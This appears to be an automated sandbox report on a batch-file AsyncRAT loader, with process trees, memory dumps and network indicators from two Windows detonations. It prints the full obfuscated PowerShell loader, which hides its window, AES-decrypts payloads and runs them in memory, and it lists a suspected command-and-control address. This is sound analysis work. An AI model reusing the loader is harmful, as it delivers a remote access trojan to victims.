Analysis Overview
SHA256
59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951
Threat Level: Known bad
The file 59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat was found to be: Known bad.
Malicious Activity Summary
AsyncRat
Detects executables attemping to enumerate video devices using WMI
Async RAT payload
Blocklisted process makes network request
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Analysis: static1
Detonation Overview
Reported
2024-04-17 01:26
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-17 01:25
Reported
2024-04-17 01:28
Platform
win7-20240221-en
Max time kernel
118s
Max time network
119s
Command Line
Signatures
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2512 wrote to memory of 1668 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2512 wrote to memory of 1668 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2512 wrote to memory of 1668 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1668 wrote to memory of 2324 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1668 wrote to memory of 2324 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1668 wrote to memory of 2324 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1668 wrote to memory of 2212 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1668 wrote to memory of 2212 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1668 wrote to memory of 2212 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat';$XgWC='CJCPqopJCPqyToJCPq'.Replace('JCPq', ''),'DeKEVccoKEVcmKEVcpKEVcreKEVcsKEVcsKEVc'.Replace('KEVc', ''),'GeAJwHtCAJwHurrAJwHeAJwHntAJwHProAJwHceAJwHssAJwH'.Replace('AJwH', ''),'CGqtVreGqtVateGqtVDGqtVecrGqtVypGqtVtoGqtVrGqtV'.Replace('GqtV', ''),'TrashffnsfshfforshffmshffFinshffashfflBlshffocshffkshff'.Replace('shff', ''),'LoaAcuudAcuu'.Replace('Acuu', ''),'EnPhDKtPhDKrPhDKyPoPhDKiPhDKntPhDK'.Replace('PhDK', ''),'InvjPegokejPeg'.Replace('jPeg', ''),'ChBNFcangBNFceEBNFcxtBNFcenBNFcsBNFciBNFconBNFc'.Replace('BNFc', ''),'MamJZeimJZenmJZeMomJZedumJZelemJZe'.Replace('mJZe', ''),'SDiPVplDiPViDiPVtDiPV'.Replace('DiPV', ''),'ReZkbLadLZkbLinZkbLeZkbLsZkbL'.Replace('ZkbL', ''),'FBIJjrBIJjomBBIJjaBIJjseBIJj64BIJjStrBIJjiBIJjngBIJj'.Replace('BIJj', ''),'EleFaTTmeFaTTnFaTTtAFaTTtFaTT'.Replace('FaTT', '');powershell -w hidden;function nHhmY($bfNRC){$Wqjzg=[System.Security.Cryptography.Aes]::Create();$Wqjzg.Mode=[System.Security.Cryptography.CipherMode]::CBC;$Wqjzg.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$Wqjzg.Key=[System.Convert]::($XgWC[12])('0/mNfjofNmhTDWKM5pVXBX9kZTvZAJfnb+xHxm0CsMs=');$Wqjzg.IV=[System.Convert]::($XgWC[12])('mimfsJsCvsdSCjq6OJjGsw==');$mEsqN=$Wqjzg.($XgWC[3])();$cIvUt=$mEsqN.($XgWC[4])($bfNRC,0,$bfNRC.Length);$mEsqN.Dispose();$Wqjzg.Dispose();$cIvUt;}function Jxpsl($bfNRC){$DhsxW=New-Object System.IO.MemoryStream(,$bfNRC);$abuYQ=New-Object System.IO.MemoryStream;$hMgwC=New-Object System.IO.Compression.GZipStream($DhsxW,[IO.Compression.CompressionMode]::($XgWC[1]));$hMgwC.($XgWC[0])($abuYQ);$hMgwC.Dispose();$DhsxW.Dispose();$abuYQ.Dispose();$abuYQ.ToArray();}$vXkJe=[System.IO.File]::($XgWC[11])([Console]::Title);$JakZo=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 5).Substring(2))));$GFnOO=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 6).Substring(2))));[System.Reflection.Assembly]::($XgWC[5])([byte[]]$GFnOO).($XgWC[6]).($XgWC[7])($null,$null);[System.Reflection.Assembly]::($XgWC[5])([byte[]]$JakZo).($XgWC[6]).($XgWC[7])($null,$null); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Network
Files
memory/2212-4-0x000000001B6D0000-0x000000001B9B2000-memory.dmp
memory/2212-5-0x0000000001FF0000-0x0000000001FF8000-memory.dmp
memory/2212-6-0x000007FEF5DC0000-0x000007FEF675D000-memory.dmp
memory/2212-7-0x0000000002D00000-0x0000000002D80000-memory.dmp
memory/2212-8-0x000007FEF5DC0000-0x000007FEF675D000-memory.dmp
memory/2212-9-0x0000000002D00000-0x0000000002D80000-memory.dmp
memory/2212-10-0x0000000002D00000-0x0000000002D80000-memory.dmp
memory/2212-11-0x000007FEF5DC0000-0x000007FEF675D000-memory.dmp
memory/2212-12-0x0000000002D00000-0x0000000002D80000-memory.dmp
memory/2212-13-0x0000000002D00000-0x0000000002D80000-memory.dmp
memory/2212-14-0x0000000002D00000-0x0000000002D80000-memory.dmp
memory/2212-15-0x0000000002D00000-0x0000000002D80000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-17 01:25
Reported
2024-04-17 01:28
Platform
win10v2004-20240412-en
Max time kernel
92s
Max time network
146s
Command Line
Signatures
AsyncRat
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Detects executables attemping to enumerate video devices using WMI
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1624 wrote to memory of 1444 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1624 wrote to memory of 1444 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1444 wrote to memory of 1044 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1444 wrote to memory of 1044 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1444 wrote to memory of 4148 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1444 wrote to memory of 4148 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4148 wrote to memory of 1216 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4148 wrote to memory of 1216 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat';$XgWC='CJCPqopJCPqyToJCPq'.Replace('JCPq', ''),'DeKEVccoKEVcmKEVcpKEVcreKEVcsKEVcsKEVc'.Replace('KEVc', ''),'GeAJwHtCAJwHurrAJwHeAJwHntAJwHProAJwHceAJwHssAJwH'.Replace('AJwH', ''),'CGqtVreGqtVateGqtVDGqtVecrGqtVypGqtVtoGqtVrGqtV'.Replace('GqtV', ''),'TrashffnsfshfforshffmshffFinshffashfflBlshffocshffkshff'.Replace('shff', ''),'LoaAcuudAcuu'.Replace('Acuu', ''),'EnPhDKtPhDKrPhDKyPoPhDKiPhDKntPhDK'.Replace('PhDK', ''),'InvjPegokejPeg'.Replace('jPeg', ''),'ChBNFcangBNFceEBNFcxtBNFcenBNFcsBNFciBNFconBNFc'.Replace('BNFc', ''),'MamJZeimJZenmJZeMomJZedumJZelemJZe'.Replace('mJZe', ''),'SDiPVplDiPViDiPVtDiPV'.Replace('DiPV', ''),'ReZkbLadLZkbLinZkbLeZkbLsZkbL'.Replace('ZkbL', ''),'FBIJjrBIJjomBBIJjaBIJjseBIJj64BIJjStrBIJjiBIJjngBIJj'.Replace('BIJj', ''),'EleFaTTmeFaTTnFaTTtAFaTTtFaTT'.Replace('FaTT', '');powershell -w hidden;function nHhmY($bfNRC){$Wqjzg=[System.Security.Cryptography.Aes]::Create();$Wqjzg.Mode=[System.Security.Cryptography.CipherMode]::CBC;$Wqjzg.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$Wqjzg.Key=[System.Convert]::($XgWC[12])('0/mNfjofNmhTDWKM5pVXBX9kZTvZAJfnb+xHxm0CsMs=');$Wqjzg.IV=[System.Convert]::($XgWC[12])('mimfsJsCvsdSCjq6OJjGsw==');$mEsqN=$Wqjzg.($XgWC[3])();$cIvUt=$mEsqN.($XgWC[4])($bfNRC,0,$bfNRC.Length);$mEsqN.Dispose();$Wqjzg.Dispose();$cIvUt;}function Jxpsl($bfNRC){$DhsxW=New-Object System.IO.MemoryStream(,$bfNRC);$abuYQ=New-Object System.IO.MemoryStream;$hMgwC=New-Object System.IO.Compression.GZipStream($DhsxW,[IO.Compression.CompressionMode]::($XgWC[1]));$hMgwC.($XgWC[0])($abuYQ);$hMgwC.Dispose();$DhsxW.Dispose();$abuYQ.Dispose();$abuYQ.ToArray();}$vXkJe=[System.IO.File]::($XgWC[11])([Console]::Title);$JakZo=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 5).Substring(2))));$GFnOO=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 6).Substring(2))));[System.Reflection.Assembly]::($XgWC[5])([byte[]]$GFnOO).($XgWC[6]).($XgWC[7])($null,$null);[System.Reflection.Assembly]::($XgWC[5])([byte[]]$JakZo).($XgWC[6]).($XgWC[7])($null,$null); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 68.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.114.53.23.in-addr.arpa | udp |
| DE | 194.48.251.169:4449 | tcp | |
| US | 8.8.8.8:53 | 169.251.48.194.in-addr.arpa | udp |
| BE | 2.17.197.240:80 | tcp | |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
Files
memory/4148-6-0x0000016837A70000-0x0000016837A92000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yrtyarea.0hc.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4148-10-0x00007FFD01140000-0x00007FFD01C01000-memory.dmp
memory/4148-12-0x00000168359F0000-0x0000016835A00000-memory.dmp
memory/4148-11-0x00000168359F0000-0x0000016835A00000-memory.dmp
memory/4148-13-0x0000016837EA0000-0x0000016837EE4000-memory.dmp
memory/4148-14-0x0000016837F70000-0x0000016837FE6000-memory.dmp
memory/1216-24-0x00007FFD01140000-0x00007FFD01C01000-memory.dmp
memory/1216-26-0x00000193357E0000-0x00000193357F0000-memory.dmp
memory/1216-25-0x00000193357E0000-0x00000193357F0000-memory.dmp
memory/1216-29-0x00007FFD01140000-0x00007FFD01C01000-memory.dmp
memory/4148-32-0x00007FFD1D720000-0x00007FFD1D7DE000-memory.dmp
memory/4148-34-0x0000016837E60000-0x0000016837E78000-memory.dmp
memory/4148-33-0x0000016837E50000-0x0000016837E60000-memory.dmp
memory/4148-31-0x00007FFD1F510000-0x00007FFD1F705000-memory.dmp
memory/4148-30-0x0000016837C30000-0x0000016837C38000-memory.dmp
memory/4148-36-0x00000168359F0000-0x0000016835A00000-memory.dmp
memory/4148-37-0x00007FFD11510000-0x00007FFD11529000-memory.dmp
memory/4148-38-0x00000168359F0000-0x0000016835A00000-memory.dmp
memory/4148-40-0x00007FFD01140000-0x00007FFD01C01000-memory.dmp
memory/4148-42-0x00000168359F0000-0x0000016835A00000-memory.dmp
memory/4148-43-0x00000168359F0000-0x0000016835A00000-memory.dmp
memory/4148-44-0x00000168359F0000-0x0000016835A00000-memory.dmp
memory/4148-45-0x00000168359F0000-0x0000016835A00000-memory.dmp